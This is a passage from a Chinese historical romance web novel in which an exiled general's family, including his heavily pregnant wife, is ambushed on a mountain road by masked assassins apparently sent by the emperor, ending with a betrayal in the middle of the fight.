只是,都到了这样的时候,这宣家小少夫人竟还是美得让人惊叹。 孕晚期带来的浮肿丝毫没有影响她的美貌,反而像是替她褪去了昔日眉眼间残存的少女稚气,变得越发明艳大方起来。 只是,这样的想法,也只是在远远地瞧见这位少夫人慢慢走过来的时候,才短暂出现在脑海中。 因为早在他们借宿灵峰山附近的废庙时,有人试图冒犯这位少夫人的那个清晨,苏琯璋抬眼看过来的那个眼神,至今仍让他们心有余悸。 何况,和苏家人朝夕相处的这半年,足以让他们深刻意识到,苏家这位昔日小少将军、半年前的大理寺少卿,他可不是什么好招惹的人物。 文能断案武能领兵,竟还不知道从哪里习得的一身医术。 端看这小公子这半年来制出的那些药丸子和各色不明用途的药粉,胆敢觊觎他的夫人,可别到头来是怎么死的都不知道,更有可能牵连身后的家人。 这可还没有算上宣家、林家和苏家其余人呢! 故而再没人敢生出什么不该有的心思来。 宣槿妤可不知道旁人心里是如何看她的,她正难受得很。 再是美人,也逃不脱孕晚期的各色症状,她如今耻骨和胯部都疼得厉害,坐着疼、站着疼、躺着也疼,总是就是疼。 她现在也不大爱走路了,因为走路也会疼,常疼得她眼泪汪汪的。 疼得狠了,她抓着苏琯璋的手,修剪得圆润的指甲也能将他的手背上的肌肤扎破,留下一道道血痕。 这种情况下,白隼离去带来的惆怅哪里还顾得上去想,很快被她抛之脑后。 只半个月之后,他们才翻过横亘大半个府城的连绵群山,从一座矮山下面经过,忽然见一个白色的庞然大物,在极速朝他们飞来。 等到它近了,人们才发现那是一只雪白的羊羔。 再往上看,抓着它的是一只纯白色的凶禽——矛隼。宣槿妤认出来,正是先前他们救下的那只白隼玉爪。 宣槿妤抬头去看它,正见它也歪着头朝着她这个方向看来,眼神还带着未来得及褪去的凶戾和桀骜。 视线和她对上后,白隼的眼神很明显地就开始变得温和起来。 它又飞得近了些,离地面已经很近了,宣槿妤看到它将爪子松开。 没有了桎梏,羊羔重重地砸在地上,落在地上厚厚的枯黄叶片上,发出“嘭”的一声闷响。 它连个挣扎都没有,无声无息地躺在落叶上,显然是早已经死透了。 被这动静吸引过来的一群人已经开始议论起来: “这是之前跟着我们的那只白隼?” “是它,你看它那眼神没错的。” “它是从哪里抓的羊?不会是别人养的吧?” “应该不是,瞧着像是只野羊。我们前几日还在山里抓过一只,你看是不是长得差不多?” “羊不都长得一个样?不过是没有主人的就好,没有麻烦。” “它是送来给我们的罢?今晚能吃羊了。” 那只白隼没有理会人群的纷纷议论声,只降低了速度落下,最后慢慢停在苏琯璋肩上,高扬着头,一副睥睨的模样。 宣槿妤是真的没想到还能见到陪伴了她三个月的白隼。 她原来是疼得厉害,哪哪都不舒服,也看苏琯璋不顺眼。 既不想看到他,却又十分矛盾地希望他留在自己身边陪着自己。苏琯璋一会儿被她撵走,一会儿又被她遣人叫回来,可被折腾得不轻。 但他也丝毫没有怨言,只恨不得将她身上的难受都转移给他才好。 白隼来时,宣槿妤才拒绝了苏琯璋抱她的询问,由着他扶着走了几圈。 怀孕时要多走动,生产的时候才好;这是娘亲、府医、祖母、婆母和嫂嫂们都跟她说过的事,她也牢牢记住了。 只实在太疼了,宣槿妤才走了三圈就有些受不了,含着泪靠在苏琯璋肩头,瞧着可怜巴巴的。 不过一见到白隼,她便将身上的那些难受都忘记了。睫毛还是湿的, 却已经开始笑了起来,欢喜地摸了摸它的头。 她满足地眯起了眼睛,白隼小脑袋上的毛羽是一如既往熟悉的好手感。她连声询问白隼,也不在意它是否能够听懂且做出回应。 “你不是自由了吗?怎的还回来了?” “你这半个月过得可还好?有没有饿着?” “你是怎么找到我们的?” 她说着又去戳了戳它的肚皮,发现那里鼓鼓的,脸上的笑意便止不住了。 它很显然没有饿着。 “这是又吃了什么?肚皮这样鼓胀,跟我们第一次见面时一样。” 那时候的玉爪,肚皮可足足用了大半个月才消下去,后来就开始吃东西了。 苏琯璋一只手牢牢撑在她腰上——她快要生了,孩子随时可能入盆,她现下很容易就会腰酸。 且她才疼过一场,更是要休息一下。 他扶着宣槿妤在已经铺好毯子的平坦石头上坐下,自己则坐在她身后撑着她的腰腹,最后再将肩膀上沉甸甸的白隼单手捧下来,托在掌心。 宣文晟十分贴心地回到马车上取来一方小木桌,支开,苏琯璋便将手中的白隼放在木桌上。 孩子们也很想念这只小伙伴了,很快围了过来。 白隼圆溜溜的棕褐色眼睛转了转,似在扫视着它的熟人们,最后停在宣槿妤面上不动了。 宣槿妤试探性地朝它伸出手,果真见它将小脑袋凑到她掌心,蹭了蹭。 “你也想我了是不是?”她柔声问。 白隼又蹭了蹭,宣槿妤便欢欢喜喜地不住抚摸着它滑顺的毛羽。 其余苏家人也都围过来了。 玉爪和他们相处了三个多月,之前半个月不见它,还怪想念的。 “这只玉爪真通人性。”苏声和瞧得眼热的许玉娘说道。 说实话,他也有些羡慕了。 他以前抓过的矛隼,可没有一只能够驯服的,每次都只能遗憾地将它们放归山林。 可眼下这只和小儿媳亲亲热热的玉爪,没人驯它,它竟也能这样亲人。 是他们之前用错方法了? 苏声若有所思。 第60章 第60章暗流涌动 白隼最后再停在苏琯璋肩上,轻轻拍打着翅膀时,宣槿妤便明白,它要走了。 “若是有缘,我们会再见面的。”她轻声道。 白隼歪着头,在宣槿妤手上蹭了蹭,似在表达它的不舍。 宣槿妤柔嫩的指腹在它光滑柔软的腹部轻轻划过,“你好好的,若再遇上雨天,就莫要出去啦!” 可不是每次被雷劈了都无性命之忧的,也不是骨折了刚好有人会医术替它固定包扎的。 那次听宣文晟说,那日它被雷从天上劈下来,若非有他们的马车挡着,它就要被劈到尖尖的树叉上了。 步步凶险,这只玉爪倒是很幸运地活了下来。 “再见了,小玉爪。”宣槿妤最后笑着和它道别。 终究没有给它取名字,它是野物,就始终是野物,属于广袤辽阔的天空。 没有上次不辞而别的遗憾,这次补了道别,于人类而言,已经足够宽慰。 一众人看着白隼振翅,直冲云霄,高亢破空的叫声传了很远。 当晚,火堆上架起了白隼送来的那只羊羔,宣文晟还遣人去附近转了转,可惜没有遇上什么人家。 果然是只野羊不错。 只到底还是有些恼怒,他们都半年没有碰上自己队伍以外的人家了。当然,暗中跟着的那些眼睛不算,他们本就是一路跟着过来的。 “你说怎么就这么巧,半年多了就不见一户人家?”宣文晟去问自己的妹夫。 他站在苏琯璋身后,说着自己的猜测,“妹夫,我在想,那几个斥候出去探路,是不是也偶尔会碰上附近的人家,只是特意又带我们绕了路?” 苏琯璋正蹲在溪边,清洗着宣槿妤刚不小心被泥土弄脏的外裳,“这就要问陈副尉了。”他回答道,手上的动作没停,小心地将上边沾着的泥土搓掉。 外裳很快被溪水冲洗干净,他将衣裳捞上来,团在手里,运起内力,慢慢地烘着。 见宣文晟仍站着不动,好奇地看他烘衣裳,苏琯璋补充道:“不过一般斥候走的路都是固定的,不会特意绕路。” 宣文晟看他都不用找地方晾晒,只抱在怀里就开始烘,竟如此方便。 他眼里的羡慕都要溢出来了,“我都要嫉妒你们这些有内力的人了。”他说。 他没有上手去摸那件外裳,只看料子和厚度,也能看出得烘干这件衣裳有多不容易。 若是夏日将这件衣裳放在大太阳底下晒,也要晒上个小半日。 而苏琯璋却连小半刻钟的时间都不用,就将烘干了的衣裳重新叠好,小心地搭在左手手臂上。 “也好,冬日里妹妹的衣裳也不怕干不了。”宣文晟含笑道。 冬日,正是宣槿妤坐月子的时候。 说着,宣文晟眼里有了憧憬,心里不知不觉间,已经软成一团。妹妹快要生了,他就要当舅舅了。 羊是白隼送来感谢宣槿妤夫妇的救命之恩的,陈阳王虎两队人便很知趣地自己去打了野物,没要他们分羊。 毕竟一只羊,他们这一大家子加上随从,自己就不够吃的。 两位厨娘跟着队伍走了半年有余,对于怎么处理野物已经很有心得,很快晚膳已经准备妥当。 宣槿妤喝的羊肉汤,蘸了调料的羊肉鲜嫩咸香,惹得她胃口大开。 不过羊肉性温燥,孕妇不宜多吃,宣槿妤只喝了一碗汤,吃了几块肉便没有再动了。 不过她倒是多吃了几块已经被苏琯璋剔干净鱼刺的鱼肉。 鱼羊鲜,果真不错,她喝完了汤,仍意犹未尽。 “这和大草原那次的鱼羊鲜比,味道哪个更胜一筹?”苏声问许玉娘。 他嘴巴糙,比不得许玉娘嘴巴刁,尝不出有什么区别。 许玉娘已经放下了筷子,专心地给孙女彤姐儿剔鱼肉,闻言笑了笑,“一个是大草原上的野物,一个是山林间的野物,各有各的风味。”她说。 又过了几日,矮矮的群山已经被他们甩在身后。 清风离开队伍一次,回来的时候和宣文晟汇报说商队已经将事情都办妥。 宅子已经买好了,就在淮招县郊外,离城门不远,入城也方便。 而且地处偏僻,宅子后面还连着一片庄子,加上后面跟着的商队,也都还是足够住下的。 远离人家居住,陈副尉和王千户定然不会有意见。 “淮招县气候温润,适宜居住;但离盛京城实在太远,也少有人家愿意在这儿定居的。” 清风说着自己打探来的消息,“商队去问价的时候,宅子的主人迫不及待地就卖了,连着庄子里种着的各类果树、花木都送了我们。” 宣文晟颔首,“价格要给得公道些,也莫让人吃亏了。” “这是自然,商队知道的。”清风回答,“我去宅子和庄子里都看过了,都布置好了。给小姐姑爷住的院子还多了一个跨院,可以用做产房。” 本就是为了宣槿妤生产才在淮招县停留的,也是为此才买的宅子;清风心里十分清楚,便将那院子里的各色布置说得很详细。 “布局是按着夫人寄来的图纸做的,跨院也通了地暖,保证不会冷到小姐和孩子。” 清风办事,宣文晟是放心的,他拍了拍这侍卫的肩膀,“做得不错。”而后吩咐道:“商队那里,你看着赏。” 清风应了。 不待他退下,宣 文晟已经招手让苏琯璋过来,“院子和产房都布置好了。依你推测,我们还有几日可以到淮招县城外?” 苏琯璋看着前方高耸入云的一座高峰,蹙着眉,不知在想些什么。 听到宣文晟在叫他,便回:“约莫还有个两日。” 只是…… 他压低了声音,“这一路太安静了。我们上次被狼袭的消息早已传回京中,大概这个月就会有消息传到跟着我们的人那里。” “若要冲我们下手,只怕就在这几日。” 他不相信龙椅上那位是真的愿意给他们苏家人生路,也不相信他会有作为帝王该有的理智。 若盛誉有,他就不会在两军大战,主将失联时将副将流放,任由早该结束的战争拖到现在。 要知道,两军胶着越久,耗费的军费越高;对守卫国土的将士们来说也越艰难,更别提他们身后一座座边关城池里的百姓们。 苏琯璋没有说是谁要冲他们下手,但宣文晟显然也胸中有数。 就连一旁的清风,也警惕地往周围扫视了一眼。 苏声和苏琯煜走了过来。 几人假装弯腰捡着柴火,说话时头也避着不远处的官兵和禁军们,同时警惕着暗处的一双双眼睛。 “在说淮招县的事?”苏声捡了一根干透的枯木,在地上敲了敲,将附着的泥土敲掉,说话声被完美掩盖在敲击声中。 苏琯璋也弯腰搂了一堆枯叶,这可以当作烧火的引子,“估计这几日那位就要朝我们下手。”他重复了方才和宣文晟说的话。 宣文晟有些忐忑,他没经历过这样避人耳目的谈话方式,一时显得有些紧张兮兮的。 太显眼了。 苏琯煜将他的头按下去,“宣三哥,我们都在捡柴火,你可不能偷懒。”他的语气十分平常,声音也不大不小,和往日正常说话的音量没什么区别。 不远处刚走过来的一名禁军只扫了一眼,便了然地笑笑,不在意地走开了。 清风端过来一个平日里用来装杂物的木桶,开始装苏琯璋搂好的那堆枯叶,“公子别抬头,他们在监视我们。” 方才回马车拿木桶和回来捡柴火的这一路,他已经发现了若有似无但紧紧盯着他们动作的几双眼睛,官兵和禁军都有。 宣文晟一惊,忙学着清风的样子去装枯叶。 “这几日队里的氛围也变了,”苏声看了一眼有些不淡定的宣文晟,笑了笑,“估计陈副尉和王千户也都猜到了那位的想法。” 他冷淡地将几根枯木用草茎捆在一起,语气十分平淡,然后丢出一个让宣文晟心惊肉跳的消息来。 “说不准,他们已经接到要配合暗杀我们的消息了。不然这些人也不会时隔半年,又开始监视我们。” 他们一家人刚开始被流放时,禁军以王虎为首,曾十分不客气地时刻监视了他们一两日。 然后被苏琯璋找了谈过一次话,后来就对他们客气许多,也没再监视过他们。 如今,连兵部官兵们的态度也起了变化。 苏声有些感慨,他还记得,当日旧部如今的兵部尚书岳丰将他们送到十里亭山脚下时说的那些话。 或许真的是被小儿子猜中了。他想。 但已经无关紧要了。 “是从那次狼袭开始的。”苏琯璋忽然道,低着头将手里的枯木放在地上,然后从他们身边走开,到旁的地方去继续捡柴火去了。 他们几个大男人围在一起实在过于显眼了些,便是捡柴,也没有一直贴在同一个地方捡的。 又不是妇道人家,洗个衣裳捡个柴火都要说话作伴儿。 入了冬,纵然这里不似北方那般冷冽刺骨,但吹来的风也带了几分冷意。 苏琯璋替宣槿妤裹紧了身上的棉被,抱着她,迟迟没有睡去。 冬日里山间的夜不似夏日那般热闹,许多动物都已经冬眠了,就连虫蛇也少见了许多。 故而此时山洞外面显得有些安静,只听得冷风呼啸着穿过乔木,很快又带走一片枯叶的轻微声响。 苏琯璋注意到,父亲悄悄起了身,和他对视一眼,很快走出山洞。 这时他就能听见飒飒的风声,混合了属于人类的轻盈脚步声。 苏声再回来时,带回一身的冷意。不是天气的那种冷,而是由内往外散发的冷意。 苏琯璋注视着父亲悄无声息地继续躺回母亲身边,又和几步远的大哥苏琯煜对了个视线,见他冲自己无声地笑笑,便很快闭上眼睛。 翌日清晨他们一行人再启程上路时,队伍里紧绷的气氛连孩子们都察觉到了。 彤姐儿不安地将小手放进父亲怀里,“爹爹,我手冷。”她撒娇着说。 流放半年,小孩子都无师自通地学会了如何掩人耳目。 苏琯煜将女儿的手揣进暖融融的衣裳中,对妻子说道:“我昨日见到有送来的小手套,要不要给彤姐儿戴上?”他在咨询许萱娘的意见。 许萱娘摸了摸女儿被山风吹得微微发凉的小脸,点点头,很快转身取来了小手套,还带了一顶小帽子,一齐给彤姐儿戴上了。 见状,常湄言和丁茜茜也很快给自己的孩子们戴上小手套和帽子。 “喜庆了不少。”苏老夫人乐呵呵地说道。 孩子们这身打扮有点像过年了,而此时已经进入十月,离过年也不远了。 她的目光和蔼地扫过宣槿妤被包裹在薄袄里的肚子,见那里像个会动的圆滚滚小球,心里憧憬而又担忧。 若是等孩子出生之后……就好了。 只可惜。 她也是习武之人,虽然年老,但属于武人的敏锐还没有褪去。她感受着周遭越来越不善的目光,心里叹气。 避不开的。 一行人安静地登上了那座高耸入云的山峰,这里,是苏琯璋推测的最适合对他们动手的地方。 而穿过这座高峰,才是正式到了淮招县的地界。那里,有他们刚买下布置好的宅子等着他们。 60-70 第61章 第61章杀! 刺杀来得意料之中,却也是悄无声息的。 陡峭难行的山路上,四周的五个峰台上,不知何时已经站满了将脸蒙得严严实实的黑衣人。 冬日天寒,尤其这样直入云霄的高峰上,更是料峭。黑衣人身上晨露未消,看样子,像是在这里已经等候他们多时。 苏琯璋单手握着宣槿妤的肩膀,将她平稳地从自己怀里放到地上,摸了摸她的脸,很快从腰间抽出一柄软剑。 宣槿妤放轻了呼吸,生怕自己会影响到他对敌。 昨夜他们已经说好了,等解决完这件事,他们就可以到淮招县城外那处已经布置妥当的宅子里安置下来,一起等着他们的孩子出生。 苏声、苏琯煜他们已经不知何时拿到了一直放在马车上的剑,和护卫们一起守在女眷和孩子们身前。 宣文晟深吸口气,站到了宣槿妤身旁,“妹妹别怕。” 这是自他们踏上这最高峰一来,一行人说的第一句话。 一直遥遥坠在他们后头的商队察觉到不对劲,此时已经赶了上来。 宣槿妤留意到这支商队的人数居然多了数十倍有余,如今已有上百人。再细看那些人,竟还有些是她在宣府时曾有过数面之缘的熟面孔。 她看向宣文晟,得到他肯定的颔首。 之前商队的人大多数是他在行商之时慢慢培养起来的,只有少数几名才是从宣府开始就一直跟着他的人。 但自那日妹夫说了这两日极大可能会有暗杀的时候,他就已经开始让清风召集暗中跟着他们的、被他一直藏在宣家的势力。 如今商队中的人,尽数是那人留给他的侍卫,还有些是他的暗卫。 这些人虽说武功没到登峰造极的地步,可要应对暗杀,再没有比他们更合适的人选了。 既然已经逼被到这个份上,他再逃避下去也是无用,不若迎难而上。 陈阳从前方退回来,手中的剑也已经出鞘,他看着迎上前的王虎,一言不发。 王虎不顾属下的阻拦和担忧,一脚踩在悬崖边上,整个人摇摇欲坠。看出陈阳的暗中相逼,他握紧手中的剑柄,手背上的青筋已经暴起。 同样一件事,陈阳可以干脆利落地做出选择,但他不行! 他一开始,就和陈阳不一样。这个决定,至少现在,他给不了陈阳想要的答案。 黑衣人只看着二人对峙,慢慢抽出手中的刀剑,森冷的寒光已经对准了他们。 “王千户,有敌来袭。”陈阳终于开口。 两支队伍,或许说,两支队伍的带队人,暗中的交锋已经被摆到了明面上来。 苏琯璋有些 意外地看了陈阳一眼,他竟是愿意站在他们这一边的么? 只是,这究竟只是陈阳个人的决定,还是奉了那位兵部尚书的命令? 这个念头只是下意识地在他脑中掠过,很快被他控制住,没有再往下想。他手中的软剑已经被抖开,正是要见血的时候,不宜分神。 王虎依旧没动。 黑衣人已经朝他们袭来。 苏琯煜、苏琯文和苏琯武已经守住了前、后和左侧三个方向,只留下身体右侧深不见底的悬崖方位,苏声正站在这里。 “父亲小心些。”苏琯璋收回视线,和身后的父亲说道。 苏声应了一声,将脚边摇晃不休的一块大石头踢了下去,侧耳细听,过了许久也没有听到回响。 刀剑交锋的声音不绝于耳,宣槿妤深吸口气,摸了摸肚子里活跃的孩子。“你乖些。”她轻声道。 孩子已经入了盆,她近来能够察觉到小腹在一阵一阵地抽疼。 苏琯璋说,她随时都可能要生了。 只是,无论如何,不要在这时候要生。 不要让他们分神。 肚子里的孩子感受到母亲的情绪,很快安静下来。 好孩子。 宣槿妤唇边勾起一抹小小的弧度。 苏琯璋听到了她对腹中孩子的低语,眼中闪过一丝痛楚,紧握着她的那只手微微用力,却不敢回过头来。 他不能分心。 黑衣人太多了,且占据了最有利的五处峰台,留给于他们而言地势过于不利的这中间一道山路。 三个方向都有人袭击,而剩余的方向,一不小心,就要坠入万丈悬崖,粉身碎骨。 刀锋划过宣家一名护卫的手臂,鲜血渗了出来。 陈阳咬了咬牙,没有再理会依旧沉默的王虎,转身迎上了一名黑衣人。 见状,一直游离在战况之外的兵部官兵,也都提着自己的兵器加入了战斗。 王虎眼神颤动,没有握住剑柄的那只手已经有鲜血溢出,滴滴答答落下,却没有滴到山路上,而是落入悬崖下。 他的神智此时也和他整个人一样,站在悬崖边上,退一步,就要落入万丈悬崖。 “杀!”一直沉默的黑衣人忽然开口,不仅是在下令,也是在提醒他。而黑衣人的双眼,更是一直死死地盯着王虎,逼着他做下决定。 王虎高大的身躯肉眼可见地一震,憨厚的面容上闪过痛苦,他却死死地咬着牙,一动不动。 更多的黑衣人从山背面跳了出来。 血腥气弥散在这并不宽阔的山路上,滴落在叶片已经枯干根茎却依旧坚/挺的草丛里。 承受着最多攻击的前方,已经有人渐渐力不从心。 一直跟在他们身边的一名侍卫倒在地上,他的脖子已经被割破,喉管涌出大股大股的鲜血。 而他持剑的那只手臂,一道深可见骨的伤口赫然在目。 宣文晟喉咙有些堵,只逼着自己撇开视线,不再去看对自己忠心耿耿的侍卫。 那峰台后面似乎是泉水的源头般,流水一般的黑衣人源源不断地自那里涌出来。 地上倒下越来越多的尸体。 他们的阵型几乎就要被冲散。 宣槿妤深吸口气,挣脱了苏琯璋紧紧束缚她手腕的手,挺着个让人瞧了就觉着心惊的大肚子,抬脚就朝欲抓着彤姐儿的刺客踹去。 她不想再像上次野狼袭击时那样,空有一身神力却毫无用处,只能受着他们的庇佑。 她觉着,自己的神力也该用在该用的地方。 她也不是仅会缩在他们身后的弱女子,她也可以和嫂嫂们、婆母二婶甚至祖母她们一样,和人对战依旧不落下风。 嫁入苏家三年,她旁的没学会,净顾着和苏琯璋置气了。可苏家人刻在骨子里的武人风骨,她也学了几分。 宣家姑娘可以是柔弱的,可苏家媳妇儿却有铮铮风骨。 巾帼不让须眉。 黑衣人毫无防备之下受了她这一脚,顿时身体不受控制地朝后倒去,狠狠地吐了一口血。 宣槿妤又转身拿过马车上的柴火,一根又一根,朝着那些欲要偷袭己方的黑衣人狠狠砸去,一砸一个准。 而后被她砸中的人便会猛地吐血,倒在地上难以动弹。 方才那个说出“杀”字明显就是领头的黑衣人不可置信地盯着她。这一分神,他胸口便被苏琯璋划了一道,很快侧身,避过了致命的一剑。 苏琯璋又杀退一名黑衣人,退到宣槿妤身侧,替宣文晟挡了偷袭的一剑。 “躲到马车那里。”苏琯璋对他说道。 清风一直守在宣槿妤身边,闻言朝他身侧的一名侍卫示意。那名侍卫很快越过重重阻碍,来到宣文晟面前,将他带到到安全的马车旁。 这个方向的黑衣人已经被肃清,宣文晟的暗卫架着马车、领着人已经退到他们来时的方向后面几丈远。 这是一个不受峰台干扰的地方,不会再有黑衣人借着峰台便利而打进他们内部。 也是被清出来的唯一一个安全地带。 几辆马车此时正停在山壁一侧,马儿已经被牢牢拴住,绝不会出现惊慌失措而带着车厢翻下悬崖的风险。 孩子们都被护送到了这里,苏老夫人、许玉娘、许萱娘、常湄言和丁茜茜她们也都退到这里,死死守着唯一受敌的前方。 宣槿妤被苏琯璋揽着,几个纵跃,也来到这里。 苏家的男人们很快带着陈阳他们转换了阵形,将身后的一众家眷密不透风地护在身后。 只是,随着地上倒下的黑衣人尸首越来越多,从山背面涌出来的蒙面黑衣人也越来越多,仿佛无穷无尽。 浓郁的血腥气仿佛能将人肌肤都渗透。 王虎还站在远处,他手下的禁军们犹豫地一会儿看看他,一会儿又往往不远处打得正酣的一群人。 眼下情形如此明朗,他们分明已经暴露了。明眼人都已经看得出来,他们禁军和黑衣人是一伙儿的。 但是头儿又不愿意对苏家人下手,也不愿意对黑衣人下手,如此就是两头都得罪了。 且不说若是日后能够活着回京会遭到怎样严厉的惩罚,光看眼下,若这场暗杀结束,他们总会被胜利的一方清算的,这可如何是好? “杀!”那黑衣人头领又开始下令,盯着王虎的双眼简直冰冷慑人。 王虎依旧咬紧牙关,没有动弹。 后头涌上来的一批黑衣人见这群人没有遭到攻击,便换了方向,试图朝着王虎他们杀来。 那黑衣人头领气得大喝:“蠢货,人在那儿,给我杀!” 若非离京太远,他带来的人手不足以对付苏家和他们暗中的护卫,他何至于接受这样一群四肢发达头脑简单的人加入他的暗杀队伍? 想着这群人的愚蠢,他忙重申一遍,也顾不得这些人会不会听见——反正他们都是要死的人了,也无所谓了。 “怀孕的那位夫人要活口,也不可伤了她。其余人一个不留,都杀了。”生怕这群蠢货曲解他的意思,黑衣人首领说得十分明白。 便是傻子也不会理解错我的话吧?他有些恼怒而又担忧地想着。 一群人 齐齐应是,就连山背后也有应好声传来,响亮的声音在这悬崖上回荡。 像是生怕没有引起暗处其余势力的注意一样。 领头的黑衣人眼里都要冒出火来,一群蠢货。果然他就不该对他们抱有期待。 他扫过那边作壁上观的一群禁军,心头的火也越燃越盛,还有这群抗旨不尊的蠢货。 黑衣人首领恼得满脑子只剩下“蠢货”二字。 第62章 第62章坠崖 一批又一批黑衣人跨过同伴的尸体冲杀过来,悍不畏死般的打法,终于将苏家人密不透风的守卫打出一道缝隙。 尽管陈阳很快顶替被击杀的下属将那个方位补上,但阵型已然不似方才那般牢不可攻了。 “怀孕的那位夫人要活口,也不可伤了她。其余人一个不留,都杀了。” 这句话他们都听见了,这也是那名官兵为何失神被杀的原因。 陈阳咬着唇,咽下了涌到喉咙口的血气,继续挥动着手里的剑。 他不敢去看苏家人,尤其是那位临产的宣小少夫人的脸。生怕看上一眼,自己的良心仿佛也在被置于油锅上煎熬。 他是五日前接到京中密报的,岳丰大人交代他务必谨慎行事,必要时只需遵从内心的选择便是。 然后同一日夜间,他收到了一名黑衣人的口信,说是圣意。 他犹豫了几日,终究做出了自己的选择。 若是他们死在这里,也算是不负圣命。毕竟,他一开始,接到的就是护送苏家人南下广虚府的旨意。 若是侥幸存活,那黑衣人空口白话的,他也可以辩解说是无凭无据,他不敢相信陛下会痛下杀手,只以为有人在伪造口谕。 藏头不露面的人,哪里值得信任呢?对吧? 只是,黑衣人头领方才的那句话险些将他心里的防线击溃。 当日十里亭中,他们还戏言宣小少夫人和宣小公子夫妻情深,宁可随夫流放也不愿意入宫,可惜了陛下的情深意重。 如今看来,全是恶心人的把戏。 他也算是明白了,陛下为何要让王虎在京中散播年轻帝王痴情不悔的流言。 这不是一名帝王该做的事。 纵然他出身低微,见识也少,但他也明白,自陛下将苏家一家人下狱的那一刻,所有的一切,就只是皇权倾轧下的结果。 譬如林太傅手中被收回的金腰带,譬如苏家人的无罪入流刑。 更甚者,还有如今的这场暗杀。 “王侯将相宁有种乎!”这句话他也是听岳丰大人说过的。 陈阳想着,眼神逐渐坚定,手中剑不断挥舞,接连杀了好几名黑衣人。 …… 那话在场之人都听见了,苏家和宣家的人都被恶心得不清,怒气转化为杀气;一时之间,躺在地上的黑衣人尸首多了不少具。 尤其苏琯璋所站着在的山路地面上,生生被他杀出了一条血河,血气冲天。他的身上,也沾满了黑衣人溅出来的血迹,这让他看上去像个玉面修罗。 可被他护在身后的宣槿妤,身上仍是干干净净的,虽挺着个一看就知快要生产的圆滚滚的大肚子,站在那里却依旧是俏生生的。 且她今日身上穿的薄袄和披风都是素色的,四周的鲜血蜿蜒到她脚边却不再流动,让她看起来仿若幽冥血河中开出来的一朵纯洁无暇的白色彼岸花。 怨不得要将她留活口。 有黑衣人感叹。 他是后面过来的人,并没有看到方才宣槿妤一根柴火重伤一名黑衣人的彪悍战绩,只看到她此时娇弱不胜风的模样。 黑衣人这样分神,在这样激烈的厮杀场面中乃是大忌,于是他很快便被苏琯璋一剑穿心。 他倒在地上时,眼中还残留着方才惊鸿一瞥的惊艳,身上的血液很快和地上的血河流成一片。 宣槿妤也听到了方才那黑衣首领喊出的那句话。 只留她一个活口是什么意思?她咬住下唇,不让自己的情绪过于外露。 她和盛誉,本就是没可能的两个人。当年先帝赐婚,她无法接受自己会和那样一个表里不一的人在一起,毅然求了外祖父和爹娘,抗旨拒婚。 她和苏琯璋成婚后,她以为帝王和臣妻,更不会再有交集。 新帝在宫宴上对她口称“师妹”,她竟天真地以为,他已经放下了当年的事。 毕竟,虽然她抗旨拒婚让他被先帝罚守皇陵一年,而丢了脸面;但他也因此得了外祖父的补偿和支持,从籍籍无名的弱小皇子,一跃成为储君,再成为如今的帝王。 当初他们就做好的交易,一切不过全是利益交换而已。他当年请旨赐婚,不也是在打着这个主意么? 还是说,当了皇帝之后,此前做过的“绝不纠缠”“绝不迁怒”的保证,竟也不作数了么? 刑部死牢里盛誉让外祖父带来的让她堕胎入宫为妃的消息,她只以为他是在羞辱她。 可如今,他若要杀了苏家人,只留下她,又是什么意思? 为了她身后的宣家和林家,为了外祖父,好不和他们离心?可若是如此,为何连三哥哥也不放过? 还是为了继续羞辱她,夺她入宫,好成全他在民间“情深意重”的名声? 一个帝王,散布自己痴恋臣妻的传闻,也实在匪夷所思,也简直是不可理喻。 爹爹和大哥哥想要阻止京中那些不堪入耳的流言传入她耳中,但怎么可能?宣槿妤想起在宣府时“无意间”听到的那些话,胃里一阵翻涌。 她捂着唇,不让自己再想下去,免得干呕出来影响到还在奋勇杀敌的这些人。 她反握住苏琯璋一直没有松开她的手,胃里终于好受不少。 “可是不舒服?”苏琯璋感受到她的动作,转过头问她。但很快他又转过头去,反手将剑划过一名正偷袭他的黑衣人喉咙。 宣槿妤看得心头一跳,忙道:“我没事,你别分心。” 方才若不是他回头及时,那黑衣人的刀就要砍在他持剑的手臂上了。 她的心头“咚咚咚”地跳着,忙抛却脑中一切想法,只专注地替他留意着周遭的一切。 远处山下的路有比这处更大的兵器交锋声传来。 有人且战且退,很快出现在他们的视野中。 宣槿妤认出来,最靠近他们这处战场的一群人里,有在京中时常跟着她的几名女暗卫。 那么,这些应当都是苏家的暗卫了。她心想。 而在苏家暗卫附近,也和黑衣人缠斗在一处的,是宣家和林家的暗卫——宣兆和林韧派出来的人,都是宣槿妤自幼眼熟的那些。 再往后的那些人,有的和黑衣人纠缠不休;还有的,则和苏家、林家还有宣家的暗卫们打成一团。 于是,那头的战况也很明朗了。有一拨人是站在他们这一头的,还有一拨,是站在新帝盛誉那边的,要将他们置于死地。 近了。 那群人且战且退,一直纠缠着,不多时便到了他们跟前。 窄窄的山道上挤满了人,有人的长矛都险些施展不了。 王虎还在观望,他看得出来,黑衣人最精锐的队伍就在刚到的这些人里边。 他也认出了和黑衣人打成一团的这些人,是之前狼袭时现身帮过他们的人。 很明显,是这些人拖住了这批明显武功比一直在和苏家人纠缠的黑衣人高出一大截、且训练有素得多的队伍,才减缓了苏家这群人的伤亡。 可是,一边是良心,一边是皇命,他内心的秤杆在左右摇摆,依旧下不了决心。 后头这些精锐的黑衣人加入战斗中后,苏家这群人明显就开始处于下风起来,渐渐左右支绌。 蓦地,被牢牢拴在山壁上的一匹马儿长长地嘶鸣一声,痛苦地倒了下去——它的咽喉处已经被一只不知何时穿过重重守卫,而飞进来的利刃扎透。 鲜血漫溢开来。 没有了束缚的车厢也很快轰然倒塌,里头的物品散落一地,还有的直直地冲入悬崖。 倒地的马匹、倒塌的车厢,和散落一地的物品,极大地妨碍了苏家这一方人的动作。 倒是对黑衣人来说,形势更加有利一些。因为不论这些人是否要清理杂物,他们的阵型也都不再完整无缺。 悬崖底下寂静无声。 风声呼啸,血腥之气越发浓郁,熏得人直欲作呕。 忽然,一直和黑衣人缠斗的一人格开一把正欲砍向他的剑,却没有乘胜追击,而是转身朝护在他身后背对着他的苏琯煜砍了下去。 方才那只扎死马儿的匕首,就是他趁乱飞出去的。 这一片空中兵器交击、暗器飞舞,已经到了让人眼花缭乱的地步,哪里会有人注意到己方一只飞出去的小巧匕首。 便 是注意到了,也只会以为是被他无意中扔偏了,或被黑衣人格挡住而朝那边飞去的。且也只怕以为是后者的可能性更高些。 激烈的交锋中,少有人会想到背叛这样一个可能。 因为,他此时正和苏家人一同杀敌,互相交托了自己的后背,也守住了旁人的后背。 在扔出那只匕首之前,他一直做得很好。 